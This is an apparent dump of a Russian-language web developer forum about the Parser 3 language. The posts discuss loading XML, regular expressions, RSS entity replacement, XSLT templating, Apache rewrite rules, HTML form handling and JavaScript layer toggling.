UPD: А вообще, подожди, я уже сделал аналогичный продукт, но значительно расширенный и уже портированный на Парсер.\
\
Подождите месяц, после будет доступно бесплатно (По лицензии New_BSD) в комплекте с кое-чем другим )))"
"53604","У меня почему-то нет:[code]I/O warning : failed to load external entity \"http://www.cbr.ru/scripts/XML_daily.asp\"[/code]\
\
Я думал вы знаете почему."
"53605","http://www.nekstcinema.ru/classes/rsst.html\
\
xml_daily.asp\
Но это было оправлено еще в первом вашем ответе от 08.06"
"53606","И разницы между xml_daily и XML_daily тоже нет.\
\
Почему-то, при xdoc::load Парсер не грузит файл (файрвол не фиксирует соединения), при file::load все в порядке.\
\
Версия P 3.2.1 XML (win, cgi)."
"53607","[code]$xdoc[^file::load[text;http://www.cbr.ru/scripts/xml_daily.asp]]\
$xdoc[^xdoc::create{^untaint{$xdoc.text}}][/code]"
"53608","Спасибо, заработало :)\
Значит это все таки в документации ошибка была ;)"
"53609","У вас какая версия Parser и под какую ОС?"
"53610","Есть класс A, который подготавливает данные. \
Создал класс для вывода метода X из класса A в дизайне.\
\
Запутался немного.. какой класс в какой подключать :) И как это потом вызвать Нужна помощь."
"53611","Apache Swissknife 3.5, все оттуда. Еще иногда бывают какие то ошибки с памятью, только не помню что именно там было написано. С прошлой версией Swissknife такого не было."
"53612","Всем привет!\
У меня такая ситуация.\
Интернет у меня дорогой, и мне очень накладно искать что либо по форуму.\
Я скачал архив сообщений форума, но т.к. сам в парсере понимаю очень мало (даже сказать ничего), сам написать форум я не смогу ;(\
очень нужен класс \"форума\" чтобы, можно было просматривать сообщения и делать поиск по базе, желательно древовидный.\
Товарищи есть ли у кого такой? дайте пожалуйста, с ним моё изучение парсера пойдёт в гору..."
"53613","1. C ним ваше изучение Парсера не пойдет в гору\
2. Написать сообщение в форум == количеству трафика на поиск в форуме\
3. Буквально две-три недели назад пробегал форум от Rafael'a\
([url=\"http://www.parser.ru/forum/?id=52084\"]http://www.parser.ru/forum/?id=52084[/url])"
"53614","Желательно присылать на beave___SPAM___@yandex.ru, просто используйте e-mail без \"___SPAM___\"."
"53618","Да нет же. Здесь все нормально. Весь текст в кириллице, все отлично. Алерт выдает русский текст. Когда делаем запрос, тогда запрос переделывается в utf-8. Так вот как сделать так, чтобы запрос уходил в windows-1251? Или как сделать так, чтобы принимающий скрипт переделывал поулченную строку из utf-8 в windows-1251?"
"53619","1) Escape`им js`ом отсылаемые данные на клиенте.\
2) Декодируем их replace`ом с помощью волшебной Мишиной таблицы на сервере.\
3) Получаем готовый результат в windows-1251.\
Волшебную табличку можно наглым образом выдернуть из класса для работы с Subsys_JsHttpRequest."
"53620","Пожалуйста помогите,\
как с помощью регулярных выражений,\
не только на парсере, а в принципе,\
написать отрицание фразы, т.е. любые символы, кроме фразы.\
Например: <script>([color=\"#ff0000\"]не </script>[/color])+</script>"
"53623","Как могут быть два квантификатора вместе?!, плюс на такой паттерн будет подходить и строка: \
[code]\
<script>\
<!-- комментарии -->\
var i:=0;\
...\
</script>\
<p>а этот текст не должет был выделен</p>\
<script>\
document.write('баннеры...');\
...\
</script>\
[/code]"
"53625","Это не два квантификатора. ? означает что под условие подпадет минимально достаточный текст."
"53626","Дж. Фридл. Регулярные выражения. Второе издание\
CПб: Питер, 2003, 464 с."
"53627","Конструкция .*? не жадная конструкция, если вам это о чём либо говорит.\
В качестве примера скачайте класс типограф с сайта http://www.typograf.ru там есть подобное правило, которое отлично работает."
"53632","и что упоминаемая операция выполняется десятки-сотни-тысячи раз при генерации страницы? если же она выполняется пару раз - забейте на её оптимизацию."
"53633","Проверяется около 40-ка RSS лент. В каждой ленте от 10 до 100 пунктов.\
Соответственно, делаю replace\
[code]$replacements[^table::create{from	to\
rdf:	 rdf_\
&mdash^;	-\
&hellip^;	...\
&nbsp^;\
&quot^;	\"\
&copy^;	(c)\
&laquo^;	\"\
&raquo^;	\"\
&trade^;	 <sup>(TM)</sup>\
</rdf:RDF>	</rss>\
xmlns=	xmln_dis=\
xmlns:	xmln_dis_\
<rdf:li	<rdf_li\
<rdf:Seq	<rdf_Seq\
</rdf:Seq	</rdf_Seq\
rdf:resource=	rdf_resource=\
<admin:generatorAgent	<admin_generatorAgent\
<rdf:RDF	<rss version=\"2.0\"\
dc:subject>	subject>\
dc:creator>	creator>\
dc:publisher>	publisher>\
syn:updateFrequency>	syn_updateFrequency>\
syn:updatePeriod>	syn_updatePeriod>\
syn:updateBase>	syn_updateBase>\
sy:updateFrequency>	sy_updateFrequency>\
sy:updatePeriod>	sy_updatePeriod>\
sy:updateBase>	sy_updateBase>\
dc:language>	language>\
dc:rights>	rights>\
dcterms:isReferencedBy	dcterms_isReferencedBy\
admin:errorReportsTo	admin_errorReportsTo\
<content:encoded>	<description>\
</content:encoded>	</description>\
trackback:ping	trackback_ping\
trackback:about	trackback_about\
dc:date>	pubDate>\
^#D0^#90	А\
^#D0^#91	Б\
^#D0^#92	В\
^#D0^#93	Г\
^#D0^#94	Д\
^#D0^#95	Е\
^#D0^#81	Ё\
^#D0^#96	Ж\
^#D0^#97	З\
^#D0^#98	И\
^#D0^#99	Й\
^#D0^#9A	К\
^#D0^#9B	Л\
^#D0^#9C	М\
^#D0^#9D	Н\
^#D0^#9E	О\
^#D0^#9F	П\
^#D0^#A0	Р\
^#D0^#A1	С\
^#D0^#A2	Т\
^#D0^#A3	У\
^#D0^#A4	Ф\
^#D0^#A5	Х\
^#D0^#A6	Ц\
^#D0^#A7	Ч\
^#D0^#A8	Ш\
^#D0^#A9	Щ\
^#D0^#AA	Ъ\
^#D0^#AB	М\
^#D0^#AC	Ь\
^#D0^#AD	Э\
^#D0^#AE	Ю\
^#D0^#AF	Я\
^#D0^#86	І\
^#D0^#87	Ї\
^#D0^#84	Є\
^#D0^#B0	а\
^#D0^#B1	б\
^#D0^#B2	в\
^#D0^#B3	г\
^#D0^#B4	д\
^#D0^#B5	е\
^#D1^#91	ё\
^#D0^#B6	ж\
^#D0^#B7	з\
^#D0^#B8	и\
^#D0^#B9	й\
^#D0^#BA	к\
^#D0^#BB	л\
^#D0^#BC	м\
^#D0^#BD	н\
^#D0^#BE	о\
^#D0^#BF	п\
^#D1^#80	р\
^#D1^#81	с\
^#D1^#82	т\
^#D1^#83	у\
^#D1^#84	ф\
^#D1^#85	х\
^#D1^#86	ц\
^#D1^#87	ч\
^#D1^#88	ш\
^#D1^#89	щ\
^#D1^#8A	ъ\
^#D1^#8B	м\
^#D1^#8C	ь\
^#D1^#8D	э\
^#D1^#8E	ю\
^#D1^#8F	я\
^#D1^#96	і\
^#D1^#97	ї\
^#D1^#94	є}]\
[/code]\
В списке верхние значения бывают написаны в разном регистре.\
Возможно такая оптимизация на регистр и не нужна, потому как идёт \"долгое\" чтение RSS с других сайтов. Чтение идёт 2 раза в день, потом кэшируется. Врямя на работу получается около 30-40-ка секунд. Если добавлять ещё RSS (а это возможно), то вообще долго получется."
"53634","некоторые смертные (включая меня) платят не за траф а за время просиженное онлайн"
"53637","Стоит ли тратить время на изучение Oracle?"
"53638","Если он вам нужен, то, конечно, стоит :)\
Если же вы выбираете какую СУБД использовать в своих проектах, то тут все зависит от ваших требований/возможностей."
"53639","Если вы уже работали с MySQL InnoDB или PostqreSQL. Расставляете индексы и внешние ключи, и регулярно пользуетесь триггерами, имеете опыт в установке и настройке -- тогда непременно стоит.\
Скачивайте бесплатный вариант и пользуйтесь наздоровье."
"53640","Подскажите пожалуйста, как в заголовках передаются поля при отправке форм POST-запросом.\
То, что Content-Length для body указывать надо, я знаю, но в какой форме идет передача ключ=значение?"
"53643","Около года-полутора назад я тоже пошел по этому пути. Я искал более-менее нормальный, удобный способ унифицировать код/движок сайта. Народ всюду на форумах кричал, что XML+XSL удобный, и по сути, единственно разумный выход.\
\
Чтож, начал я изучать XML+XSL, однако, работу нужно было делать срочно, да и обуздала элементарная человеческая лень. Просматривая чужие движки, я обратил внимание, что некоторые, наряду с XML+XSL (далее X/L) преобразование часто «сует» «дизайн» прямо в код движка. В частности, в движке у Egr-ва, хоть он и построен на X/L есть классы шаблоны, в которых «валяется» HML-код.\
\
Вообщем, сваял я сайт. При этом, однако, я особо не отделял «шаблоны» от кода в отдельные классы, а лишь делал для них отдельныепроцедуры.\
\
Однако через некоторое время заказчику «захотелось модернизации»… Техническое задание, по неопытности, было сформулировано местами очень расплывчито… вообщем, пришлось мне «лезть в код», который я успел позабыть и подстраивать его под новые требования. Кроме того, возник новый заказ, в котором часть «фишек» пересекалось с текущим заказом… потом еще один.\
\
В попытке работы с тремя заказами параллельно и стараясь добиться какой-то «универсальности» я тем не менее пришел к ситуации, когда у меня оказалось три версии файлов классов для навигации, вопросника и чегото-там-еще. И каждую «версию» класса необходимо было развивать параллельно.\
\
…\
\
когда у меня появился еще один заказ, мне пришлось взять месяц «отгула», и подучить получше X/L.\
\
В результате, у меня получилась более/менее (на текущий момент, вполне меня и других устраивающая истема), состоящаа из:\
-	универсальных классов, каждый из которых оперирует исключительно XML данными;\
-	универсальных SQL-таблиц\
-	системы XSL-шаблонов, которые индивидуальны для каждого сайта.\
-	… двух строк кода, которые «скрещивают» X/L\
На настоящий момент я поддерживаю и развиваю три сайта. При этом занимаюсь только изменением классов Parser. XSL-шаблоны, в основном остаются для каждого сайта неизменными.\
\
… хотя, в принципе, если повторить XSL-систему на Parser-е, и сделать ее независимой (абсолютно) от основного кода, то в принципе возможно добиться нормальной универсальности, однако, как показывает практика:\
- проще найти/обучить человека чисто под X/L\
- проще создавать модули, использующие стандартный формат XML для взаимодействия друг с другом\
- если понадобится переводить данные в другой формат:\
	- RDF\
- Excel\
- Картинка\
то понадобится только другой XSL-шаблон."
"53644","В ыпосмотрите хотя бы на зарплаты ораклоидов.\
\
Только учтите что сесть и выучить за наделю не получится. ДУмаю, что даже девелоперы этого чуда природы и сам не знают всех его фич."
"53645","Спасибо, что поделились опытом. Несколько вопросов:\
\
[quote]На настоящий момент я поддерживаю и развиваю три сайта. При этом занимаюсь только изменением классов Parser. XSL-шаблоны, в основном остаются для каждого сайта неизменными.[/quote]\
\
[quote]я тем не менее пришел к ситуации, когда у меня оказалось три версии файлов классов для навигации, вопросника и чегото-там-еще.[/quote]\
\
Со стандартными классами всё более-менее понятно. Вопросник одинаковый на всех сайтах. Более того, я с Вами согласен в том плане, что если стоит задача разработать шаблон сайта (любого, начиная от домашней страницы, заканчивая порталом), который можно потом делать под другие темы, то XSLT удобный вариант.\
\
В моём случае есть определенный набор классов, которые переходят из проекта в проект, но основная часть пишется (на основе старых конечно) индивидуально под проект. И править и добавлять в HTML шаблон данные (даже где-то с вкраплениями парсерного кода) мне показалось легче (хотя может быть я ошибаюсь).\
\
[quote] если понадобится переводить данные в другой формат:\
- RDF\
- Excel\
- Картинка[/quote]\
\
Универсалность XML формата конечно плюс."
"53647","А так у вас из проекта в проект остается ядро -- выдающее xml и вам остается только написать XSLT шаблоны."
"53650","В этом случае, как мне кажется разумнее было бы поступить:\
- описать основной, базовый класс, выполняющий функции ядра\
- для каждого индивидуального проекта описывать новый класс, на основе базового, в котором перекрывать те функции, которые меняются в проекте.\
- стараться придерживаться какой-то базовой XML-схемы, описанной для базового класса, и которая может быть при желании дополнена в классах-потомках\
А далее:\
XSL-шаблоны (или, если удобнее, Parser-шаблоны) с вероятностью 70-80% менять не придется, а лишь дополнить новыми правилами."
"53651","В случае если мы не используем XML ядро никуда не девается."
"53652","Может быть кому пригодиться :)\
\
Предположим есть какой-то сервис на сайте. Под него создаются два класса. Первый хранит в себе логику, второй отвечает за вывод данных. Переменные (а переменными могут быть также массивы и объекты) передаём через $BASE.\
\
В результате мы получаем:\
Класс с логикой программы. Класс с дизайном программы. Более того, класс с дизайном поддерживает весь функционал Parser.\
\
Почему мы решили делать так?\
1. Степень разделения логики и дизайна нас вполне устраивает\
2. Функционал Parser доступен в дизайне\
3. Не надо никаких дополнительных доработок, чтобы этим пользоваться (при xml-xslt потребовались)\
4. Расширяемость, универсальность таких классов нам показалась не меньшей чем при использовании xml-xslt.\
\
Кстати спасибо Sumo :)."
"53653","в принципе, ничто не мешает попробовать реализовать оба подхода и сравнить, какой из них удобнее...\
Будет время попробую"
"53654","...а я не послушал, и выучил MySQL :D"
"53656","POST /request_uri HTTP/1.0\
Content-Length: 23\
\
key1=value1&key2=value2"
"53657","Сделано так. При наборе любого адреса управление передаётся одному и тому же адресу. Данные форм почему-то не передаются. В чём проблемы?\
\
[code]\
.htaccess\
  # Подключение Parser-а для всех .html-страниц \
  AddHandler parsed-html html \
  Action parsed-html /cgi-bin/parser3.cgi\
RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L]\
  <Files ~ \"\\.p$\"> \
    Order allow,deny \
    Deny from all \
  </Files>[code]"
"53660","[code]\
<form method=\"POST\">\
<input type=\"text\"  id=\"title1416\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1415\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1414\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1413\" name=\"title1416\" value=\"...\">\
\
<a class=\"button\" href=\"\" OnClick=\"if (confirm('Сохранить изменения?')) {document.forms[0].action='/adm/test/save_changes/'; document.forms[0].submit();};\"><nobr>Сохранить изменения</nobr></a>\
\
</form>\
\
Обработчик:\
\
^form:fields.foreach[field;value]{ \
		   $field - $value \
		}[<br />]\
\
[/code]"
"53662","...и сравнить его по удобству/функциональности/масштабируемости/скорости с X/L-методом.\
После отпуска займемся..."
"53663","Скачать тут:\
http://www.apache-gui.com/files/apconf.exe\
Локализация тут:\
http://www.apache-gui.com/apacheconf/languages/41/russian.zip"
"53664","1. все поля в форме\
[code]\
<input type=\"text\"  id=\"title1416\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1415\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1414\" name=\"title1416\" value=\"...\">\
<input type=\"text\"  id=\"title1413\" name=\"title1416\" value=\"...\">\
[/code]\
\
имеют одинаковые имена -> переменная будет всго одна\
\
2.\
Вполне могут оказаться глюки в JavaScript коде:\
[code]\
<a class=\"button\" href=\"\" OnClick=\"if (confirm('Сохранить изменения?')) {document.forms[0].action='/adm/test/save_changes/'; document.forms[0].submit();};\"><nobr>Сохранить изменения</nobr></a>\
[/code]\
... вообще странный код, и я сомневаюсь, что работоспособный. Я думаю такая форма ничего не пощлет\
проще было написать\
[code]\
<form action=\"/adm/test/save_changes/\">\
</form>\
[/code]\
а вместо ссылки использовать кнопку.\
Хотя, если хочется все-таки использовать текст -> желательно вынести код проверки за пределы <A/>, а в OnClick вставить имя процедуры проверки"
"53665","Может я чего неправильно установил, или не так прописал, но когда захожу на сайт первым делом вылазит ошибка 412\
и карта сайта вместе с ней,а потом всё нормально работает. объясните это так и должно или нет.\
И ещё где можно взять админку этого сайта, а то чёт egr не отвечает..."
"53666","1. Переписал код не верно. Id совпадает с name, т.е. name и id в форме совпадать не могут - это точно.\
\
2. action=\"/adm/test/save_changes/ я тоже пытался ставить, но всё равно это дела не меняет. Вооще, получается, что просто страница обновляется, а пересылки как будто не происходит... кстати, передаётся единственная переменная (uri - /403.shtml)... почему? не знаю... думаю здесь проблема .htaccess, видимо какие-то другие там параметры должны быть. Если кто знает - подскажите..."
"53668","1. Все так и работает. Исходники являются примерным примером (простите за каламбур) того как все работает. Там еще есть небольшие заморочки с кодировками\
2. Админки попросту нет."
"53672","ясненько....\
ещё вопросик про вашу cms я скачал последнюю версию, и когда я нажимаю [зарегистрироваться] ничего не происходит ;( в чём может быть проблема???"
"53673","[quote]переменная будет всго одна[/quote]\
К прочтению: [url=\"http://www.parser.ru/docs/lang/formtables.htm\"]tables. Получение множества значений поля[/url]\
\
[quote]вообще странный код, и я сомневаюсь, что работоспособный[/quote]\
Вижу только одну возможную причину быть этому коду неработоспособным: [b];[/b] — если код внутри оператора, например так:\
[code]\
^if(...){\
	[i]код[/i]\
}\
[/code]\
\
К прочтению: [url=\"http://www.parser.ru/docs/lang/stringlit.htm\"]Строковые литералы[/url]"
"53674","1. скопируйте <form>...</form> в отдельный файл, сохраните его и заставьте работать его\
2. уберите все js, поставьте обычный <input type=\"submit\"/>\
3. пропишите action=\"...\"\
4. укажите method=\"get\", так вы увидите действительно-ли вам приходят данные (они будут видны в адресной строке)\
5. посмотрите в log, возможно у вас после post делается redirect, т.е. вы видите страничку после редиректа, когда никаких $form уже нет (или поместите ^form:fields.foreach[...] в ^throw[], после которого ничего больше выполняться не будет)\
6. попробуйте в RewriteRule указать ... /index.html?..."
"53677","сам сегодня наткнулся и даже хотел предложить встроить ее в \"ножик\". :)\
потом глянул на то, что она платная..."
"53678","Я думаю, что встраивать не обязательно, а ссылочку поставить — можно, кому надо, тот купит.\
\
Или даже договориться с Zecos Software о сотрудничестве :)"
"53679","[b]change_case_UTF8 error: end pointers do not match[/b]\
вот что выходит при запуске _test.html на суб домене\
\
на домене установил Парсер нормально, всё работает, скопировал папку cgi-bin в соответствующее место на суб домине, отредактировал конф.файл (я там пишу абсолютные пути к папкам с кодировками и бровами к бд) пытаюсь протестить = вышеуказанная ошибка\
- права на все 777 в папке cgi-bin\
- .httaccess скопировал с домена в суб домен\
\
почитал форум - похоже не выполняется конф.файл, но может я и ошибаюсь"
"53680","Если будут какие-нибудь результаты, пишите:\
ICQ#: 284-563-712"
"53683","http://ah_faq.sudya.geliohost.com/cgi-bin/_test.html\
\
если в корне поместить _test.html - ошибка 500"
"53686","2. Чтобы отвечающие не потратили зря время для написания ответа"
"53687","проблема была не в Парсере, а в сис.админе - наверное пора его апдейтить...\
\
извеняюсь за маленький переполох"
"53688","понятное дело что так он считывается, т.к. находится рядом с запрашиваемым файлом.\
\
а если throw поместить в auto.p размещенный рядом с парсером не для поддомена, а для основного домена? (хотя не, тогда бы считывались установки заданные там...)\
\
проверяйте пути, рассказывайте структуру каталогов, что где лежит и что написано в htaccess или пробуйте SetEnv CGI_PARSER_CONFIG ..."
"53689","Вообще, просмотрев ссылочку, предложенную ASharky я немного задумался над вопросом рациональности использования X/L. Не то, чтобы мне лень, просто... вообщем надо попробовать реализовать оба подхода и посмотреть что проще/удобнее.\
\
Я планирую для начала добавить такую фичу как опцию в своем движке. Сложностей для этого нет никаких, только придется переписать все шаблоны XSL в Parser-шаблоны и добавить к классам модулей дочерние классы шаблоны (или наоборот)."
"53690","Для хранения разделов используется следующая структура таблиц:\
t_sections - дерево разделов, с uri именами таковых, порядком сортировки, описанием шаблона страници.\
поля:\
\
t_sections_locale - содержимое/текст разделов, с учетом языка (поле lang позволяет задать данные для одного раздела на разных языках).\
\
Чтобы сильно не \"ростить\" дерево разделов в t_sections есть желание для каждого раздела/подраздела сделать возможным добавлять несколько страниц. При этом эти страници нет необходимости сами по себе строить в виде дерева. Достаточно определить их к какому-либо разделу.\
\
Мне видится два варианта:\
1. в таблицу t_sections_locale добавить дополнительное поле \"page_n\" (номер страницы), по номеру (значению) которого определять, что это за страница: \"корневая\" (допустим, page_n=0), т.е. основная для раздела/подраздела или это \"просто страница\".\
\
2. сделать отдельную таблицу t_sections_pages в которой хранить \"некорневые\" страници разделов/подразделов, если таковые имеются."
"53691","[quote]Чтобы сильно не \"ростить\" дерево разделов в t_sections есть желание для каждого раздела/подраздела сделать возможным добавлять несколько страниц.[/quote]\
\
а потом захотите одному такому \"подразделу\" добавить ещё под-подраздел, и?\
\
схалявите сейчас - будете расплачиваться потом (+ с грузом обратной совместимости)\
\
т.е. мой вариант такой: не пытаться в одну таблицу засовывать разные сущности, а \"растить\" дерево как положено (ведь каждый мужик его должен вырастить %-) )"
"53692","Ладно, забъем на эту идею перегревшегося на работе сознания..."
"53693","...хотя вполне возможно просто конец рабочего дня\
\
[code]\
$sourceDoc[^xdoc::load[/_data/menu_ru.xml]]\
^sourceDoc.string[\
    $.indent[no]\
    $.method[optimized-html]\
][/code]\
\
преобразовывать по xsl шаблону необходимости нет, но как убрать пробельные символы в исходном HTML? а то у меня там набор картинок, которые идут в ряд, и если между ними ставить пробелы - дизайн как гармонь расстягивается :(\
\
есть способ избавится от пробелов?"
"53694","Можно применить к нему простой XSL-шаблон:\
[code]\
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">\
	<xsl:strip-space elements=\"*\"/>\
	<xsl:preserve-space elements=\"pre\"/>\
	<xsl:template match=\"/node()\">\
		<xsl:copy-of select=\"node()\"/>\
	</xsl:template>\
	\
</xsl:stylesheet>\
[/code]\
а вообще $.indent[no] должен убирать все"
"53696","Делал.\
http://keyout.ru\
Прямая ссылка: http://keyout.ru/distrib/dbexport.zip\
Открытый исходный текст. Пример работы с MySQL из MSAccess без драйверов ODBC, напрямую через API."
"53697","AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
Это у меня в корне, а для определённой папки нужно выводить html в обычном виде, без обработки парсером.\
\
PS: уверен этот вопрос уже задавался, но в форуме найти мне его не удалось. :("
"53698","Здравствуйте!\
Я думаю над тем, чтобы организовать новостную ленту в виде xml со структурой\
[code]\
<new_1>\
 <topic>...</topic>\
 <text>...</text>\
 <date>...</date>\
</new_1>\
<new_2>\
...\
[/code]\
Допустим, нужно отредактировать какую-либо новость через cms. Я ещё не освосился в x-методах парсера, но предполагаю, что нужно загрузить из xml данные в объект xdoc. \
Вот не пойму, как перебирать по очереди узлы new_1,new_2 ..\
Во флеше это делается с помощью childNodes и цикла for, а тут как?\
Я был бы очень рад, если вы предоставите примерчик)) - создание узла-новости и его добавление в файл, удаление произвольного узла, а также изменение текста в существующих узлах."
"53701","А может кто работал с этими исходниками, подскажите где и что надо поменять, а может какой файл создать, чтобы выводилась сразу главная страница."
"53702","И ещё один вопросик, на сайте в разделе \"Портфолио\" есть статья \"Навигация «хлебные крошки»\" я сколько раз в базе не пытался добавить ещё одну статью (так ради интереса) ничего не получается, толи неправильно добавляю толи еще чё. в чём причина подскажите???"
"53704","Будет отступ:\
[code]\
<img />\
<img />\
[/code]\
\
Не будет отступа:\
[code]\
<img /><img />\
[/code]"
"53705","однако в xml структуре лучше немного упростить\
вместо new_1 и new_2 писать <new id=\"1\"> и <new id=\"2\">\
\
далее вам нужно почитать про xslt\
или посмотреть к примеру это http://www.egoroff.spb.ru/portfolio/22.html"
"53707","переведите на русский AddHandler, осмыслите и потом переведите на английкий слово \"убрать\""
"53708","Сделал так\
\
RemoveHandler .html\
AddType text/html .htm .html\
\
но всё равно обрабатывается парсером :("
"53710","вопрос в следующем:\
использую http://www.parser.ru/examples/js_http_request/\
строю с помощью этого форму, т.е. есть элементы формы которые прогружаются сразу, а них вводим данные идет подгрузка других элементов формы. Вопрос как сделать на JS проверку значений новых подгруженных элементов формы при отправке их серверу например таким кодом\
if(document.forms['t'].elements['street'].value==\"\" || document.forms['t'].elements['adr_street'].value.substr(0,1) == \" \"){\
	alert('Пожалуйста, введите улицу');\
	document.forms['t'].elements['street'].focus();\
	return false;\
}\
т.е. если элеметнт street подгружается таким образом его JS не видит и выдает ошибку, ну и форму благополучно отсылает. :("
"53711","(3*2)+9\
invalid number (double)\
\
[code]^eval{(^menuItems.count[]*2)+9}[/code]\
\
во Flash изменять тип данных можно при помощи соответствующих функций (String(); Number();...) а как в парсере это можно реализовать? я так понял, что вся загвоздка в том, что ^menuItems.count[] возвращает double\
\
я не очень понял как работают методы класса double & int :-[\
прошу помощи в виде отрывка кода, который бы правильно считал мою формулу"
"53712","Задача: Написать класс, позволяющий проверить, не является ли раздел, на который мы выводим ссылку текущим.\
\
В качестве исходника я взял пример из второго урока к документации парсера (максимально переделан под условия):\
[code]\
@copyright[] \
$sections[^table::load[/copyright.cfg]] \
^if($sections.uri eq $request:uri){ \
  Copyright\
}{ \
  <a href=\"/copyright/\">Copyright</a>\
} \
#end @copyright[]\
[/code]\
Его недостатком является что ссылка загружается из цфг-шной таблицы.\
\
Вопрос: как вставить в строку [code]$sections[^table::load[/copyright.cfg]][/code] (или куда-нибудь в сам код) сам URI?\
\
Спасибо."
"53715","а так я плохо понял сам вопрос но думаю что либо $sections.uri дибо request uri смотря какой ури куда вам надо вставить."
"53716","как я понимаю, вы пытаетесь, для каждого раздела делать свой .cfg файл и при этом пытаетесь сделать из него таблицу (что глупо). В уроке он общий и хранит ТАБЛИЦУ РАЗДЕЛОВ (что логично).\
\
Что вы подразумеваете под \"сам URI?\"\
\
1. если вы пишите данный код на каждом разделе-странице индивидуально то так и пишите\
^if(\"/copyright/\" eq $request:uri)\
\
2. если он у вас общий для всех разделов то без таблици не обойтись, будь то CFG-таблица или SQL..."
"53717","RewriteEngine on\
RewriteOptions inherit\
RewriteCond	%{REQUEST_FILENAME}	!-f\
RewriteCond	%{REQUEST_FILENAME}	!-d\
RewriteRule	^(.*)$	index.html?uri=/$1 [QSA,L]\
RewriteRule	^/xxx/(.*)$	/xxx/$1\
\
Хочу, чтоб при записи любой строки управление передавалось на index.html..., кроме папки /xxx/... Знаю что у меня написано не верно, но не понимаю почему... не подскажите?"
"53718","Потому что у вас стоят проверки -f и -d (Что это за проверки — читать документацию из полезных ссылок).\
\
Если у вас физически нет этого каталога, то смысла в вашем выражении нет ни грамма.\
\
Да, и слеш в начале выражения не пишется\
[code]RewriteRule ^xxx/(.*) ....[/code]"
"53719","Именно это мне и было нужно."
"53720","1. добавить проверку на то, что обращаемся [b]не[/b] к xxx в RewriteCond, относящийся в тому RewriteRule откуда нужно исключить обработку xxx\
2. добавить RewriteRule с [L], которая rewrite-ит xxx на что-либо ещё [b]до[/b] вашего основного rewrite\
3. добавить \"RewriteRule ^xxx/$ - [L]\" в самое начало ваших правил"
"53721","Что не так? Почему выдаёт ошибку: 'menu' method of table (table) accepts maximum 2 parameter(s) [parser.runtime]?\
\
Исходник (выделены изменения, повлекшие ошибку):\
\
@body_additional[]\
Просмотр каталога\
\
@body_main[]\
^connect[$connect_string]{\
	$files[^table::sql{select files.date, files.name, files.number, files.description, rubrics.rubr_id, rubrics.name_r, rubrics.description_r, shpindels.name_sh\
	from files, rubrics, shpindels\
	where files.rubr_id=rubrics.rubr_id and files.shpindel_id=shpindels.shpindel_id}]\
	^if($files){\
	^files.menu{\
<table width=\"100%\" border=\"0\" cellspacing=\"5\"><tr><td width=\"20%\" valign=\"top\"><font size=2>Дата ввода: <i>$files.date</i>   <br>№ диска: <i>$files.number ($files.name_sh)</i>    <br>Рубрика: [b]<a onmouseover=\"showpic('$files.rubr_id')\" onmouseout=\"hidepic('$files.rubr_id')\" href=\"#\">[/b]<i>$files.name_r</i>[b]</a><div id=\"$files.rubr_id\" style=\"position: absolute; z-index: 4; visibility: hidden\">$files.description_r</div>[/b]</font></td><td width=\"80%\" align=\"left\" valign=\"top\">\
	<b><font size=4>$files.name</font></b><br>\
         ^untaint{$files.description}</td></tr></table>\
      }[<br>]\
   }{\
      Нет записей в базе.\
   }\
}"
"53723","О! Пасибо! Не заметила бы, чёрт побери :-(\
Правда теперь настала пора искать другие ошибки в данном коде..."
"53724","Как бы в Парсере смастерить это дело?\
Буду рада любым наводочкам, ссылочкам, рекомендациям."
"53725","по ходу ваших мыслей я думаю не Парсер вам поможет, а Java Script"
"53726","Безусловно! Ява очень даже подошла бы. Но как интегрировать ява-решение с Парсером?\
Уже экспериментирую в этом направлении. Но работает не во всех браузерах.\
Вот что получилось:\
...\
<head>\
<script type=\"text/JavaScript\">\
<!--\
function MM_findObj(n, d) { //v4.01\
  var p,i,x^;  if(!d) d=document^; if((p=n.indexOf(\"?\"))>0&&parent.frames.length) {\
    d=parent.frames[n.substring(p+1)].document^; n=n.substring(0,p)^;}\
  if(!(x=d[n])&&d.all) x=d.all[n]^; for (i=0^;!x&&i<d.forms.length^;i++) x=d.forms[i][n]^;\
  for(i=0^;!x&&d.layers&&i<d.layers.length^;i++) x=MM_findObj(n,d.layers[i].document)^;\
  if(!x && d.getElementById) x=d.getElementById(n)^; return x^;\
}\
\
function MM_showHideLayers() { //v6.0\
  var i,p,v,obj,args=MM_showHideLayers.arguments^;\
  for (i=0^; i<(args.length-2)^; i+=3) if ((obj=MM_findObj(args[i]))!=null) { v=args[i+2]^;\
    if (obj.style) { obj=obj.style^; v=(v=='show')?'visible':(v=='hide')?'hidden':v^; }\
    obj.visibility=v^; }\
}\
//-->\
</script>\
<title>Каталог дисков</title>\
</head>\
\
\
...\
\
Рубрика: <div id=\"$files.rubr_id\" style=\"position: absolute^; z-index: 4^; visibility: hidden^; left: 20px^; top: 150px^;\">$files.description_r</div>\
 <i onmouseover=\"MM_showHideLayers('$files.rubr_id','','show')\" onmouseout=\"MM_showHideLayers('$files.rubr_id','','hide')\">$files.name_r</i>\
...\
\
Хотелось бы узнать другие решения."
"53727","а сделайте это всё на Flash!!!\
\
c js не помогу - не очень разбераюсь в данной технологии. может тут помогут [url=\"http://demiart.ru/forum\"]Demiart:forum[/url], а то что-то не очень \"парсерную\" тематику тут зацепили"
"53730","Это вопрос по javascript...\
Смысл таков... кнопка открывает новое окно:\
[code]window.open('edit/1396/', 'a', 'height=600, width=950, resizable, scrollbars');[/code]\
Соответственно, в новом окне идёт форма с кнопкой (в parser-e):\
[code] <form method=\"post\" name=\"form1\" target=\"_parent\" action=\"save_changes/\">\
<input type=\"submit\" class=\"button\" value=\"OK\"\
		OnClick=\"  window.forms['form1'].submit()^; window.close()^;\"/>[/code]\
Получается, что данные формы отправились, а окно не закрывается :(\
Почему - мне не понятно... возможно после submit() код дальше не выполеняется, так как же быть?"
"53732","[code]\
<form id=\"myForm\" action=\"javascript:alert('ok')\">\
